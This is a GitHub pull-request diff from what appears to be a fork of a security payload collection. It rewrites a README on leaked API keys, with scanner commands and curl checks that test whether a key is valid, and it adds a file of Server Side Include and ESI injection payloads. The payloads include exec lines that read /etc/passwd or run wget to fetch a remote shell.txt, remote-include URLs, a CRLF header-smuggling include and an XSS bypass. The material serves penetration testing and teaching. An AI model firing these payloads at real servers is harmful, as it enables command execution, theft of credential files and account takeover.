Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[pull] master from swisskyrepo:master #552

Merged
merged 4 commits into from
Nov 19, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 47 additions & 124 deletions API Key Leaks/README.md
Original file line number Diff line number Diff line change
@@ -1,166 +1,89 @@
# API Key and Token Leaks

> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

## Summary

- [Tools](#tools)
- [Methodology](#exploit)

Check failure on line 8 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Link fragments should be valid

API Key Leaks/README.md:8:3 MD051/link-fragments Link fragments should be valid [Context: "[Methodology](#exploit)"] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md051.md
- [Google Maps](#google-maps)
- [Algolia](#algolia)
- [Slack API Token](#slack-api-token)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [Mapbox API Token](#mapbox-api-token)
- [Common Causes of Leaks](#common-causes-of-leaks)
- [Validate The API Key](#validate-the-api-key)
- [References](#references)


Check failure on line 13 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Multiple consecutive blank lines

API Key Leaks/README.md:13 MD012/no-multiple-blanks Multiple consecutive blank lines [Expected: 1; Actual: 2] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md012.md
## Tools

- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
```ps1
## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity

## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments

## Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
```
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
```powershell

Check failure on line 24 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Fenced code blocks should be surrounded by blank lines

API Key Leaks/README.md:24 MD031/blanks-around-fences Fenced code blocks should be surrounded by blank lines [Context: "```powershell"] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md031.md
nuclei -t token-spray/ -var token=token_list.txt
```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
```ps1
python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens


Check failure on line 28 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Multiple consecutive blank lines

API Key Leaks/README.md:28 MD012/no-multiple-blanks Multiple consecutive blank lines [Expected: 1; Actual: 2] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md012.md
## Methodology

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

### Google Maps

* [ozguralp/gmapsapiscanner/](https://github.com/ozguralp/gmapsapiscanner/) - Google Maps API Scanner

| Name | Endpoint |
| --------------------- | --------- |
| Static Maps | [/maps/api/staticmap?key=KEY](https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY) |
| Streetview | [/maps/api/streetview?key=KEY](https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY) |
| Embed | [/maps/embed/v1/place?key=KEY](https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY) |
| Directions | [/maps/api/directions/json?key=KEY](https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY) |
| Geocoding | [/maps/api/geocode/json?key=KEY](https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY) |
| Distance Matrix | [/maps/api/distancematrix/json?key=KEY](https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY) |
| Find Place from Text | [/maps/api/place/findplacefromtext/json?key=KEY](https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY) |
| Autocomplete | [/maps/api/place/autocomplete/json?key=KEY](https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY) |
| Elevation | [/maps/api/elevation/json?key=KEY](https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY) |
| Timezone | [/maps/api/timezone/json?key=KEY](https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY) |
| Roads | [roads.googleapis.com/v1/nearestRoads?key=KEY](https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795&key=KEY) |
| Geolocate | [www.googleapis.com/geolocation/v1/geolocate?key=KEY](https://www.googleapis.com/geolocation/v1/geolocate?key=KEY) |


**Impact**:

* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account


### Algolia

```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```


### Slack API Token

```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```


### Facebook Access Token

```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```


### Github client id and client secret

```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```


### Twilio Account_sid and Auth token

```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.

Check failure on line 31 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Unordered list style

API Key Leaks/README.md:31:1 MD004/ul-style Unordered list style [Expected: dash; Actual: asterisk] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md004.md
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.

Check failure on line 32 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Unordered list style

API Key Leaks/README.md:32:1 MD004/ul-style Unordered list style [Expected: dash; Actual: asterisk] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md004.md

Check failure on line 33 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Trailing spaces

API Key Leaks/README.md:33:1 MD009/no-trailing-spaces Trailing spaces [Expected: 0 or 2; Actual: 5] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md009.md
### Common Causes of Leaks

* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.

Check failure on line 36 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Unordered list style

API Key Leaks/README.md:36:1 MD004/ul-style Unordered list style [Expected: dash; Actual: asterisk] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md004.md

### Twitter API Secret
```py

Check failure on line 38 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Trailing spaces

API Key Leaks/README.md:38:10 MD009/no-trailing-spaces Trailing spaces [Expected: 0 or 2; Actual: 5] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md009.md
# Example of hardcoded API key
api_key = "1234567890abcdef"
```

```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.

Check failure on line 43 in API Key Leaks/README.md

View workflow job for this annotation

GitHub Actions / lint

Unordered list style

API Key Leaks/README.md:43:1 MD004/ul-style Unordered list style [Expected: dash; Actual: asterisk] https://github.com/DavidAnson/markdownlint/blob/v0.35.0/doc/md004.md

```ps1
## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity

## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
```

### Twitter Bearer Token
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.

```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
```ps1
# Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
```

* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.

### Gitlab Personal Access Token
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```

### Validate The API Key

### HockeyApp API Token
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```yaml
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: high
```

Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.

### Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
* **Example**: Telegram Bot API Token

* Check token validity:
```ps1
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```

* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope)
```ps1
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
curl https://api.telegram.org/bot<TOKEN>/getMe
```


Expand Down
92 changes: 92 additions & 0 deletions Server Side Include Injection/Files/ssi_esi.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
<!--#config errmsg="File not found, informs users and password"-->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="auth_type" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="document_name" -->
<!--#echo var="document_root" -->
<!--#echo var="document_uri" -->
<!--#echo var="forwarded" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="http_referer" -->
<!--#echo var="http_ua_cpu" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="last_modified" -->
<!--#echo var="netsite_root" -->
<!--#echo var="page_count" -->
<!--#echo var="path" -->
<!--#echo var="path_info" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="path_translated" -->
<!--#echo var="query_string" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="remote_addr" -->
<!--#echo var="remote_host" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_user" -->
<!--#echo var="request_method" -->
<!--#echo var="request_uri" -->
<!--#echo var="script_filename" -->
<!--#echo var="script_name" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_url" -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="server_name -->
<!--#echo var="server_port" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_software" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="total_hits" -->
<!--#echo var="tz" -->
<!--#echo var="unique_id" -->
<!--#echo var="user_name" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#exec cmd="curl http://sn1persecurity.com/.testing/rfi_vuln.php" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="ipconfig" -->
<!--#exec cmd="ls" -->
<!--#exec cmd="perl -e 'print "X"*5000'" -->
<!--#exec cmd="sleep 10" -->
<!--#exec cmd="sleep 5" -->
<!--#exec cmd="uname" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="whoami"-->
<!--#flastmod virtual="echo.html" -->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#include virtual="/" -->
<!--#include virtual="/index.html" -->
<!--#include virtual="http://sn1persecurity.com/.testing/rfi_vuln.php" -->
<!--#include virtual="https://crowdshield.com/.testing/rfi_vuln.php" -->
<!--#printenv -->
</nowiki>
<esi:debug/>
<esi:include src="http://google.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://google.com/poc.xsl" />
<esi:include src=http://google.com/>
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="dir" --></pre>
<pre><!--#exec cmd="ls" --></pre>
<pre><!--#exec cmd="whoami"--></pre>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Loading
Loading